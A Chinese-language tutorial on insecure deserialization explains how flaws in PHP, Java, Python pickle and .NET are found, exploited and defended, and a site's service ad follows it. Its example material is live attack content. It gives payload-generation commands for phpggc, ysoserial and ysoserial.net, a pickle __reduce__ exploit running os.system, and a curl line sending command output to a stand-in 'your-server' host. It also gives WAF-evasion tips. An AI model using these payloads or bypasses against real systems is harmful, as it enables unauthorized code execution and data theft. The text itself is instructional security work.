☰
反序列化漏洞深度解析:从原理到实战利用与防御
2026/10/15 4:55:48 网站建设 项目流程

1. 不安全的反序列化到底在讲什么

先把概念说清楚。反序列化,说白了就是把一段“扁平”的数据(比如字节流、字符串、JSON)重新还原成内存里的对象。这个过程本身没有原罪,任何语言只要涉及对象持久化、跨进程通信、缓存读写,都绕不开它。问题出在:当这段数据来自不可信来源,而还原过程又会自动触发某些方法时,攻击者就能通过精心构造的数据,让服务端“自己动手”执行本不该执行的逻辑。

我在实际项目里见过太多类似的场景:一个看似普通的Cookie、一个藏在请求体里的二进制字段、一个从消息队列里消费的消息,只要它经过了反序列化,就可能成为入口。这类问题的隐蔽性在于,它不像SQL注入那样有明显的字符串拼接痕迹,也不像命令注入那样一眼能看出危险函数。它藏在“对象重建”这个看似无害的动作里,等到发现时,往往已经造成了实际影响。

这篇文章适合谁看?如果你是做Web安全测试的,想搞明白反序列化漏洞怎么发现、怎么利用、怎么防御;如果你是后端开发,想确认自己代码里有没有埋雷;或者你只是对这类“看起来很高深”的漏洞好奇,想找个能上手复现的路径——那接下来的内容应该对你有用。我会从原理讲到实操,从语言差异讲到工具使用,尽量把每个环节的“为什么”都交代清楚。

提醒:本文所有演示均在本地搭建的模拟环境中进行,涉及的代码和Payload仅用于理解原理,请勿用于任何未授权的测试。

2. 反序列化漏洞的底层逻辑拆解

2.1 序列化与反序列化的本质

要理解漏洞,先得理解正常流程。序列化是把内存中的对象状态转换成可存储或可传输的格式,反序列化则是逆过程。不同语言有不同的实现方式:

  • Java使用ObjectOutputStream和ObjectInputStream,序列化后的数据以AC ED开头(十六进制),这是Java序列化流的魔术字节。
  • PHP使用serialize()和unserialize(),序列化结果是可读的字符串,比如O:4:"User":2:{s:4:"name";s:5:"admin";}。
  • Python的pickle模块,序列化后是二进制流,但也可以用pickletools反汇编成可读的指令序列。
  • .NET的BinaryFormatter,序列化后也是二进制,但结构相对固定。

关键点在于:反序列化不仅仅是“读数据”,它还会根据数据中的类型信息,去实例化对应的类,并在某些情况下自动调用类中定义的特殊方法。这些特殊方法,就是漏洞的触发点。

2.2 魔术方法与自动触发机制

不同语言里,这些“自动触发”的机制叫法不同,但思路一致:

  • PHP里叫“魔术方法”,比如__wakeup()在反序列化时自动调用,__destruct()在对象销毁时调用,__toString()在对象被当字符串使用时调用。
  • Java里没有魔术方法的概念,但readObject()方法会在反序列化时被调用,如果类重写了这个方法,里面的逻辑就会被执行。
  • Python的pickle更直接,它支持__reduce__方法,允许对象自定义反序列化时的行为,这几乎等于把执行权交给了数据提供方。

我打个比方:序列化数据就像一份“施工图纸”,反序列化就是“按图施工”。正常情况下,图纸只描述“房子长什么样”,但有些语言的图纸里还能写“施工时顺便把保险箱打开”。如果图纸是攻击者画的,那保险箱就危险了。

2.3 为什么这类漏洞难以发现

反序列化漏洞的隐蔽性来自几个方面。第一,它通常不在业务逻辑的显眼位置,而是藏在框架底层、缓存层、会话管理中。第二,触发条件往往需要特定的类路径(Classpath)或依赖库,测试时如果环境不匹配,可能复现不出来。第三,很多开发人员根本不知道自己的代码里用了反序列化,因为那是框架自动完成的。

我在一次代码审计中遇到过这样的情况:一个基于某开源框架的Web应用,表面上看所有输入都做了过滤,但框架在处理Session时用了Java原生序列化。攻击者只需要构造一个恶意的Session Cookie,就能在服务端触发代码执行。这个点在当时的安全测试中很容易被忽略,因为大家习惯性地只关注请求参数,而忽略了Cookie里的二进制数据。

3. 主流语言的反序列化漏洞实操解析

3.1 PHP反序列化:从魔术方法到POP链

PHP的反序列化漏洞利用,核心是构造“POP链”(Property-Oriented Programming)。简单说,就是利用多个类之间的方法调用关系,把一系列魔术方法串联起来,最终达到执行危险操作的目的。

先看一个最基础的例子。假设有这样一个类:

class Demo { public $cmd = 'whoami'; public function __wakeup() { system($this->cmd); } }

如果攻击者能控制反序列化的输入,就可以构造O:4:"Demo":1:{s:3:"cmd";s:2:"id";},当unserialize()执行时,__wakeup()被调用,system('id')就会执行。

但真实环境不会这么简单。通常需要找一条链:从某个入口类的__destruct()或__wakeup()开始,经过若干次方法调用,最终到达一个执行点。比如常见的思路是:__destruct()调用某个对象的__toString(),__toString()又调用另一个对象的__call(),层层递进。

实操时,我习惯用phpggc这个工具来生成Payload。它内置了大量常见框架和库的POP链,比如Laravel、Symfony、ThinkPHP等。用法很简单:

phpggc Laravel/RCE1 system id

这条命令会生成一个针对Laravel的序列化Payload,触发后执行id命令。但要注意,phpggc生成的Payload需要和目标环境的版本匹配,不同版本的类结构可能不同,链子可能断掉。

注意:PHP 7.4之后,__wakeup()的调用时机有一些变化,某些绕过技巧可能失效。测试时一定要确认目标PHP版本。

3.2 Java反序列化:ysoserial与利用链

Java反序列化漏洞的利用,绕不开ysoserial这个工具。它的原理是:利用Java标准库或常见第三方库中存在的“利用链”,构造一个序列化对象,当目标执行反序列化时,链上的方法依次被调用,最终执行任意命令。

最经典的链子是CommonsCollections系列。以CommonsCollections1为例,它利用了AnnotationInvocationHandler和TransformedMap的组合,通过动态代理和反射,最终调用Runtime.exec()。生成Payload的命令:

java -jar ysoserial.jar CommonsCollections1 "id" > payload.bin

然后把这个二进制文件发送到目标的反序列化入口。但这里有几个坑:第一,目标必须存在有漏洞的commons-collections版本(通常是3.1到3.2.1)。第二,Java版本会影响某些链的可用性,比如CommonsCollections1在Java 8u71之后因为AnnotationInvocationHandler的修改而失效。第三,目标可能使用了白名单或黑名单过滤,需要尝试不同的链。

我在测试中常用的排查思路是:先确认目标是否使用了Java原生序列化(看Cookie或请求体里有没有AC ED开头的数据),然后尝试用ysoserial的URLDNS链做“盲测”。URLDNS不会执行命令,只会触发一次DNS请求,适合用来确认漏洞是否存在,而且不依赖第三方库。

java -jar ysoserial.jar URLDNS "http://your-dns-log.example.com" > payload.bin

如果DNS日志里看到了请求,说明反序列化点存在,再进一步尝试命令执行的链。

3.3 Python pickle:最直接的危险

Python的pickle模块在设计上就允许对象自定义反序列化行为,通过__reduce__方法返回一个可调用对象和参数。这意味着,只要攻击者能控制pickle.loads()的输入,就能直接执行任意代码。

一个最简单的Payload:

import pickle import os class Exploit: def __reduce__(self): return (os.system, ('id',)) payload = pickle.dumps(Exploit())

这段代码生成的payload,在pickle.loads()时会执行os.system('id')。没有任何中间环节,非常直接。

实际场景中,pickle常用于缓存、消息队列、分布式任务。比如Celery默认使用pickle作为序列化方式,如果消息队列没有做好访问控制,攻击者就可以投递恶意消息,在Worker节点上执行代码。

防御上,最彻底的办法是不要用pickle处理不可信数据。如果必须用,可以考虑hmac签名,确保数据来源可信。Python官方文档也明确说了:“永远不要反序列化不可信的数据。”

3.4 .NET反序列化:BinaryFormatter与ObjectStateFormatter

.NET的反序列化漏洞,常见于BinaryFormatter、LosFormatter、ObjectStateFormatter等。其中BinaryFormatter因为过于危险,在.NET 5之后已经被标记为过时,但在很多遗留系统中仍然存在。

利用方式上,ysoserial.net是主要工具。它支持多种Payload生成器,比如TypeConfuseDelegate、TextFormattingRunProperties等。一个典型的利用场景是ViewState。ASP.NET的ViewState默认使用ObjectStateFormatter进行序列化,如果machineKey泄露或者配置不当,攻击者就可以伪造ViewState,触发反序列化漏洞。

ysoserial.exe -g TypeConfuseDelegate -f ObjectStateFormatter -c "calc.exe" -o base64

这条命令会生成一个Base64编码的ViewState Payload。但要注意,目标必须关闭了ViewState的MAC校验,或者攻击者知道machineKey。在实际测试中,machineKey通常很难获取,所以这条路径的门槛较高。

4. 漏洞发现与利用的完整实操流程

4.1 信息收集:找到反序列化的入口

发现反序列化漏洞的第一步,是找到哪些地方在处理序列化数据。我通常从以下几个位置入手:

  • Cookie和Session:很多框架会把Session对象序列化后存在Cookie里,比如Java的JSESSIONID、PHP的PHPSESSID。如果Cookie值看起来像Base64或者二进制,就值得进一步分析。
  • 请求体中的二进制字段:比如application/x-java-serialized-object、application/octet-stream,或者某些API接口直接接收序列化数据。
  • 隐藏参数:有些应用会把对象序列化后放在隐藏表单字段里,比如ASP.NET的__VIEWSTATE。
  • 消息队列和缓存:如果测试范围包括内部服务,Redis、RabbitMQ、Kafka里的消息也可能是反序列化入口。

我习惯用Burp Suite的插件来辅助识别。比如Java Deserialization Scanner可以自动检测Java序列化数据,Freddy可以识别多种语言的序列化格式。但工具只是辅助,关键还是对数据特征的敏感度。

4.2 手工验证:确认漏洞是否存在

找到可疑数据后,下一步是确认它是否真的会被反序列化。最安全的方式是用“带外检测”(OOB)。比如Java的URLDNS链,或者PHP里构造一个触发DNS请求的Payload。

以PHP为例,可以构造:

class Ping { public $host = 'your-dns-log.example.com'; public function __wakeup() { file_get_contents('http://' . $this->host); } }

序列化后发送,如果DNS日志有记录,说明反序列化点存在。这种方式不会对目标造成实际影响,适合在授权测试中使用。

4.3 构造Payload:从检测到利用

确认漏洞存在后,就可以尝试构造命令执行的Payload。这里的关键是“链子”的选择。不同语言、不同框架、不同版本,可用的链子不同。

我一般会按以下顺序尝试:

  1. 通用链:比如Java的CommonsCollections系列,PHP的phpggc通用链。
  2. 框架特定链:比如Laravel、Spring、Shiro的专用链。
  3. 自定义链:如果目标使用了自研类,可能需要手工分析代码,寻找可用的魔术方法或readObject()。

构造Payload时,要注意编码问题。比如Java序列化数据是二进制的,发送时可能需要Base64编码或者直接作为请求体。PHP的序列化字符串则需要注意长度字段的准确性,phpggc会自动处理这些细节。

4.4 实战中的注意事项

在实际测试中,有几个坑我踩过多次:

  • 版本匹配:ysoserial的链子对版本敏感,测试前最好能确认目标使用的库版本。如果无法确认,就多试几条链。
  • 长度限制:有些入口对数据长度有限制,比如Cookie有4KB限制。如果Payload太长,可能需要压缩或者换更短的链。
  • WAF绕过:很多WAF会检测AC ED、O:等特征。可以尝试用不同的编码方式,或者把Payload拆分成多个部分。
  • 回显问题:命令执行可能没有回显。这时可以用DNS、HTTP请求等带外方式获取结果,或者写入文件后通过其他途径读取。

提示:测试反序列化漏洞时,尽量使用无害的命令(如id、whoami),避免对目标系统造成影响。授权测试中也要注意不要触发破坏性操作。

5. 防御策略与代码层面的加固

5.1 根本原则:不反序列化不可信数据

这是最有效也是最难完全做到的一条。很多框架和库默认使用反序列化,开发人员甚至不知道。我的建议是:

  • 在架构设计阶段,就明确哪些数据需要序列化,哪些不需要。
  • 对于必须序列化的场景,优先选择安全的格式,比如JSON、Protobuf。这些格式不支持自定义对象类型,攻击者无法通过它们实例化任意类。
  • 如果必须使用原生序列化,确保数据来源可信,比如内部服务之间的通信,并且有严格的访问控制。

5.2 白名单与黑名单

如果无法避免反序列化,可以考虑对反序列化的类进行限制。Java中可以通过重写ObjectInputStream.resolveClass()方法,只允许特定的类被反序列化。PHP中可以用unserialize()的第二个参数(PHP 7.0+)来限制允许的类。

$data = unserialize($input, ['allowed_classes' => ['User', 'Order']]);

但白名单的维护成本较高,新增类时容易遗漏。黑名单则更不可靠,因为攻击者总能找到新的链子。

5.3 签名与完整性校验

对序列化数据进行签名,确保数据在传输过程中没有被篡改。比如用HMAC对数据进行签名,反序列化前先验证签名。这样即使攻击者能控制数据,也无法伪造有效的签名。

import hmac import hashlib import pickle def serialize(obj, key): data = pickle.dumps(obj) sig = hmac.new(key, data, hashlib.sha256).digest() return sig + data def deserialize(data, key): sig = data[:32] payload = data[32:] expected_sig = hmac.new(key, payload, hashlib.sha256).digest() if not hmac.compare_digest(sig, expected_sig): raise ValueError("Invalid signature") return pickle.loads(payload)

这种方式的关键是密钥的管理,密钥不能泄露,否则签名就形同虚设。

5.4 运行时防护

除了代码层面的加固,还可以在运行时进行防护。比如Java Agent可以在类加载时进行拦截,阻止危险的类被反序列化。PHP的disable_functions可以禁用system、exec等危险函数,但攻击者可能通过其他方式绕过。

我个人的经验是,防御要分层。代码层面做白名单和签名,运行时做监控和拦截,再加上定期的安全测试,才能把风险降到可接受的水平。

6. 常见问题与排查技巧实录

6.1 为什么我的Payload没有触发

这是最常见的问题。可能的原因有:

  • 入口点不对:数据虽然看起来像序列化数据,但实际没有被反序列化。可以用带外检测确认。
  • 版本不匹配:链子依赖的类或方法在目标版本中不存在。需要确认目标使用的库版本。
  • 过滤规则:目标可能对输入做了过滤,比如替换了O:或者AC ED。可以尝试编码绕过。
  • 类路径问题:Java的链子需要特定的类在Classpath中。如果目标没有引入相关库,链子就无法使用。

排查时,我习惯从最简单的URLDNS开始,逐步增加复杂度。如果URLDNS都不触发,说明入口点可能有问题。

6.2 如何快速判断目标使用的语言和框架

从响应头、Cookie名称、错误页面可以获取很多信息。比如:

  • JSESSIONID通常是Java。
  • PHPSESSID通常是PHP。
  • ASP.NET_SessionId通常是.NET。
  • X-Powered-By头可能直接暴露框架和版本。

但很多生产环境会隐藏这些信息。这时可以通过路径特征、参数命名习惯来推测。比如Java应用常用.do、.action后缀,PHP常用.php,ASP.NET常用.aspx。

6.3 遇到WAF拦截怎么办

WAF通常基于特征匹配,比如检测AC ED、O:、rO0等。绕过思路包括:

  • 编码转换:把Payload进行Base64、Gzip压缩后再发送,有些WAF不会解码。
  • 分块传输:把Payload拆分成多个部分,绕过基于单次请求的检测。
  • 协议变形:比如把Payload放在Cookie、Header、Body的不同位置,测试WAF的覆盖范围。

但要注意,绕过WAF本身可能违反测试授权范围,务必在允许的范围内操作。

6.4 命令执行没有回显怎么获取结果

这是反序列化利用中的经典问题。解决方案有:

  • 带外通道:用DNS、HTTP请求把结果传出来。比如curl http://your-server/$(id | base64)。
  • 写入文件:把结果写到Web目录下的文件,然后通过浏览器访问。
  • 反弹Shell:直接建立交互式连接,但这种方式风险较高,授权测试中要谨慎使用。

我通常优先用带外通道,因为对目标影响最小,而且不容易被日志记录。

6.5 常见问题速查表

问题现象可能原因排查方向
Payload发送后无任何反应入口点不存在或数据未被反序列化用OOB检测确认入口
报错提示类找不到目标缺少链子依赖的库确认目标Classpath
报错提示方法不存在版本不匹配确认库版本,换链子
WAF返回拦截页面特征被识别尝试编码或分块
命令执行但无回显输出被重定向或未返回使用带外通道

7. 我个人的一些实操体会

反序列化漏洞的测试,最考验的不是工具使用,而是对目标技术栈的理解。我见过很多测试人员,拿到ysoserial就开始盲打,结果要么打不中,要么触发了WAF。真正有效的方式,是先花时间搞清楚目标用了什么框架、什么版本、什么序列化方式,然后再有针对性地选择链子。

另外,防御方往往比攻击方更被动。因为反序列化漏洞的修复,很多时候需要改动框架底层或者升级依赖,成本很高。所以我在做代码审计时,会特别关注那些“历史遗留”的序列化代码,它们往往是风险最高的地方。

最后分享一个小技巧:如果你在测试中发现了反序列化漏洞,但一时找不到可用的链子,可以先记录下来,等目标升级或引入新库后再尝试。因为新的库可能带来新的链子,而目标的反序列化入口可能一直没有修复。这个思路在实际项目中帮我找到过不少“迟到”的漏洞。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询